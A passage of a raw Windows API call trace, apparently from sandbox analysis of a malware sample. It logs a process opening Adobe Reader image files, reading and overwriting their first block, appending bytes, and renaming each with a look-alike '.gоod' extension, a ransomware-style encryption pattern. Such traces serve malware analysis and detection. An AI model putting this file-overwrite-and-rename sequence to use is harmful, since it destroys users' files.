dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\icons_retina.png"), fInfoLevelId=0x0, lpFileInformation=0x3777748 | out: lpFileInformation=0x3777748*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3c6a)) returned 1 [0231.883] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed710) returned 1 [0231.883] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\icons_retina.png", nBufferLength=0x105, lpBuffer=0x202ed130, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\icons_retina.png", lpFilePart=0x0) returned 0x82 [0231.883] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed650) returned 1 [0231.883] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\icons_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\icons_retina.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0231.884] GetFileType (hFile=0x85c) returned 0x1 [0231.884] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed5c0) returned 1 [0231.884] GetFileType (hFile=0x85c) returned 0x1 [0231.884] SetFilePointer (in: hFile=0x85c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x202ed7a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x202ed7a8*=0) returned 0x1000 [0231.884] ReadFile (in: hFile=0x85c, lpBuffer=0x3777c60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ed778, lpOverlapped=0x0 | out: lpBuffer=0x3777c60*, lpNumberOfBytesRead=0x202ed778*=0x1000, lpOverlapped=0x0) returned 1 [0231.885] CloseHandle (hObject=0x85c) returned 1 [0231.885] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\icons_retina.png", nBufferLength=0x105, lpBuffer=0x202ed130, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\icons_retina.png", lpFilePart=0x0) returned 0x82 [0231.886] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed650) returned 1 [0231.886] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\icons_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\icons_retina.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0231.886] GetFileType (hFile=0x85c) returned 0x1 [0231.886] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed5c0) returned 1 [0231.886] GetFileType (hFile=0x85c) returned 0x1 [0231.886] SetFilePointer (in: hFile=0x85c, lDistanceToMove=0, lpDistanceToMoveHigh=0x202ed7a8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x202ed7a8*=0) returned 0x3c6a [0231.886] WriteFile (in: hFile=0x85c, lpBuffer=0x3778f78*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x202ed698, lpOverlapped=0x0 | out: lpBuffer=0x3778f78*, lpNumberOfBytesWritten=0x202ed698*=0x10, lpOverlapped=0x0) returned 1 [0231.887] CloseHandle (hObject=0x85c) returned 1 [0231.887] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\icons_retina.png", nBufferLength=0x105, lpBuffer=0x202ed130, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\icons_retina.png", lpFilePart=0x0) returned 0x82 [0231.887] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed650) returned 1 [0231.887] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\icons_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\icons_retina.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0231.887] GetFileType (hFile=0x85c) returned 0x1 [0231.887] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed5c0) returned 1 [0231.887] GetFileType (hFile=0x85c) returned 0x1 [0231.887] ReadFile (in: hFile=0x85c, lpBuffer=0x377c758, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ed728, lpOverlapped=0x0 | out: lpBuffer=0x377c758*, lpNumberOfBytesRead=0x202ed728*=0x1000, lpOverlapped=0x0) returned 1 [0232.525] CloseHandle (hObject=0x85c) returned 1 [0232.525] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\icons_retina.png", nBufferLength=0x105, lpBuffer=0x202ed130, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\icons_retina.png", lpFilePart=0x0) returned 0x82 [0232.525] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed650) returned 1 [0232.525] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\icons_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\icons_retina.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0232.525] GetFileType (hFile=0x85c) returned 0x1 [0232.525] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed5c0) returned 1 [0232.525] GetFileType (hFile=0x85c) returned 0x1 [0232.525] WriteFile (in: hFile=0x85c, lpBuffer=0x3701b50*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x202ed7d8, lpOverlapped=0x0 | out: lpBuffer=0x3701b50*, lpNumberOfBytesWritten=0x202ed7d8*=0x1010, lpOverlapped=0x0) returned 1 [0232.525] CloseHandle (hObject=0x85c) returned 1 [0232.526] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\icons_retina.png", nBufferLength=0x105, lpBuffer=0x202ed280, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\icons_retina.png", lpFilePart=0x0) returned 0x82 [0232.526] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\icons_retina.png.gоod", nBufferLength=0x105, lpBuffer=0x202ed280, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\icons_retina.png.gоod", lpFilePart=0x0) returned 0x87 [0232.526] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed710) returned 1 [0232.526] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\icons_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\icons_retina.png"), fInfoLevelId=0x0, lpFileInformation=0x202ed7f0 | out: lpFileInformation=0x202ed7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x86d023a4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3c7a)) returned 1 [0232.526] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed6d0) returned 1 [0232.526] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\icons_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\icons_retina.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\icons_retina.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\icons_retina.png.gоod")) returned 1 [0232.527] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\illustrations.png", nBufferLength=0x105, lpBuffer=0x202ed280, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\illustrations.png", lpFilePart=0x0) returned 0x83 [0232.527] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed750) returned 1 [0232.527] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\illustrations.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\illustrations.png"), fInfoLevelId=0x0, lpFileInformation=0x386bb90 | out: lpFileInformation=0x386bb90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x225a)) returned 1 [0232.527] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed710) returned 1 [0232.527] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\illustrations.png", nBufferLength=0x105, lpBuffer=0x202ed130, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\illustrations.png", lpFilePart=0x0) returned 0x83 [0232.527] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed650) returned 1 [0232.527] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\illustrations.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\illustrations.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0232.528] GetFileType (hFile=0x85c) returned 0x1 [0232.528] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed5c0) returned 1 [0232.528] GetFileType (hFile=0x85c) returned 0x1 [0232.528] SetFilePointer (in: hFile=0x85c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x202ed7a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x202ed7a8*=0) returned 0x1000 [0232.528] ReadFile (in: hFile=0x85c, lpBuffer=0x386c0a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ed778, lpOverlapped=0x0 | out: lpBuffer=0x386c0a8*, lpNumberOfBytesRead=0x202ed778*=0x1000, lpOverlapped=0x0) returned 1 [0232.529] CloseHandle (hObject=0x85c) returned 1 [0232.530] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\illustrations.png", nBufferLength=0x105, lpBuffer=0x202ed130, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\illustrations.png", lpFilePart=0x0) returned 0x83 [0232.530] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed650) returned 1 [0232.530] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\illustrations.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\illustrations.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0232.530] GetFileType (hFile=0x85c) returned 0x1 [0232.530] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed5c0) returned 1 [0232.530] GetFileType (hFile=0x85c) returned 0x1 [0232.530] SetFilePointer (in: hFile=0x85c, lDistanceToMove=0, lpDistanceToMoveHigh=0x202ed7a8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x202ed7a8*=0) returned 0x225a [0232.530] WriteFile (in: hFile=0x85c, lpBuffer=0x386d540*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x202ed698, lpOverlapped=0x0 | out: lpBuffer=0x386d540*, lpNumberOfBytesWritten=0x202ed698*=0x10, lpOverlapped=0x0) returned 1 [0232.531] CloseHandle (hObject=0x85c) returned 1 [0232.531] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\illustrations.png", nBufferLength=0x105, lpBuffer=0x202ed130, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\illustrations.png", lpFilePart=0x0) returned 0x83 [0232.531] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed650) returned 1 [0232.531] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\illustrations.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\illustrations.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0232.531] GetFileType (hFile=0x85c) returned 0x1 [0232.531] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed5c0) returned 1 [0232.531] GetFileType (hFile=0x85c) returned 0x1 [0232.531] ReadFile (in: hFile=0x85c, lpBuffer=0x386f880, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ed728, lpOverlapped=0x0 | out: lpBuffer=0x386f880*, lpNumberOfBytesRead=0x202ed728*=0x1000, lpOverlapped=0x0) returned 1 [0232.559] CloseHandle (hObject=0x85c) returned 1 [0232.559] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\illustrations.png", nBufferLength=0x105, lpBuffer=0x202ed130, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\illustrations.png", lpFilePart=0x0) returned 0x83 [0232.559] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed650) returned 1 [0232.559] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\illustrations.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\illustrations.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0232.559] GetFileType (hFile=0x85c) returned 0x1 [0232.559] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed5c0) returned 1 [0232.559] GetFileType (hFile=0x85c) returned 0x1 [0232.559] WriteFile (in: hFile=0x85c, lpBuffer=0x386e558*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x202ed7d8, lpOverlapped=0x0 | out: lpBuffer=0x386e558*, lpNumberOfBytesWritten=0x202ed7d8*=0x1010, lpOverlapped=0x0) returned 1 [0232.559] CloseHandle (hObject=0x85c) returned 1 [0232.559] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\illustrations.png", nBufferLength=0x105, lpBuffer=0x202ed280, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\illustrations.png", lpFilePart=0x0) returned 0x83 [0232.560] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\illustrations.png.gоod", nBufferLength=0x105, lpBuffer=0x202ed280, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\illustrations.png.gоod", lpFilePart=0x0) returned 0x88 [0232.560] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed710) returned 1 [0232.560] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\illustrations.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\illustrations.png"), fInfoLevelId=0x0, lpFileInformation=0x202ed7f0 | out: lpFileInformation=0x202ed7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x86d4e7e4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x226a)) returned 1 [0232.560] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed6d0) returned 1 [0232.560] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\illustrations.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\illustrations.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\illustrations.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\illustrations.png.gоod")) returned 1 [0232.561] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\illustrations_retina.png", nBufferLength=0x105, lpBuffer=0x202ed280, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\illustrations_retina.png", lpFilePart=0x0) returned 0x8a [0232.561] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed750) returned 1 [0232.561] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\illustrations_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\illustrations_retina.png"), fInfoLevelId=0x0, lpFileInformation=0x38ee070 | out: lpFileInformation=0x38ee070*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4d6b)) returned 1 [0232.561] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed710) returned 1 [0232.561] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\illustrations_retina.png", nBufferLength=0x105, lpBuffer=0x202ed130, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\illustrations_retina.png", lpFilePart=0x0) returned 0x8a [0232.561] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed650) returned 1 [0232.561] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\illustrations_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\illustrations_retina.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0232.562] GetFileType (hFile=0x85c) returned 0x1 [0232.562] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed5c0) returned 1 [0232.562] GetFileType (hFile=0x85c) returned 0x1 [0232.562] SetFilePointer (in: hFile=0x85c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x202ed7a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x202ed7a8*=0) returned 0x1000 [0232.562] ReadFile (in: hFile=0x85c, lpBuffer=0x38ee5c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ed778, lpOverlapped=0x0 | out: lpBuffer=0x38ee5c8*, lpNumberOfBytesRead=0x202ed778*=0x1000, lpOverlapped=0x0) returned 1 [0233.339] CloseHandle (hObject=0x85c) returned 1 [0233.339] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\illustrations_retina.png", nBufferLength=0x105, lpBuffer=0x202ed130, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\illustrations_retina.png", lpFilePart=0x0) returned 0x8a [0233.339] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed650) returned 1 [0233.339] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\illustrations_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\illustrations_retina.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0233.341] GetFileType (hFile=0x85c) returned 0x1 [0233.341] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed5c0) returned 1 [0233.341] GetFileType (hFile=0x85c) returned 0x1 [0233.372] SetFilePointer (in: hFile=0x85c, lDistanceToMove=0, lpDistanceToMoveHigh=0x202ed7a8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x202ed7a8*=0) returned 0x4d6b [0233.373] WriteFile (in: hFile=0x85c, lpBuffer=0x38a6ba0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x202ed698, lpOverlapped=0x0 | out: lpBuffer=0x38a6ba0*, lpNumberOfBytesWritten=0x202ed698*=0x10, lpOverlapped=0x0) returned 1 [0233.373] CloseHandle (hObject=0x85c) returned 1 [0233.374] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\illustrations_retina.png", nBufferLength=0x105, lpBuffer=0x202ed130, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\illustrations_retina.png", lpFilePart=0x0) returned 0x8a [0233.374] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed650) returned 1 [0233.374] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\illustrations_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\illustrations_retina.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0233.374] GetFileType (hFile=0x85c) returned 0x1 [0233.374] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed5c0) returned 1 [0233.374] GetFileType (hFile=0x85c) returned 0x1 [0233.374] ReadFile (in: hFile=0x85c, lpBuffer=0x38a8f40, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ed728, lpOverlapped=0x0 | out: lpBuffer=0x38a8f40*, lpNumberOfBytesRead=0x202ed728*=0x1000, lpOverlapped=0x0) returned 1 [0233.401] CloseHandle (hObject=0x85c) returned 1 [0233.401] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\illustrations_retina.png", nBufferLength=0x105, lpBuffer=0x202ed130, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\illustrations_retina.png", lpFilePart=0x0) returned 0x8a [0233.401] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed650) returned 1 [0233.401] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\illustrations_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader 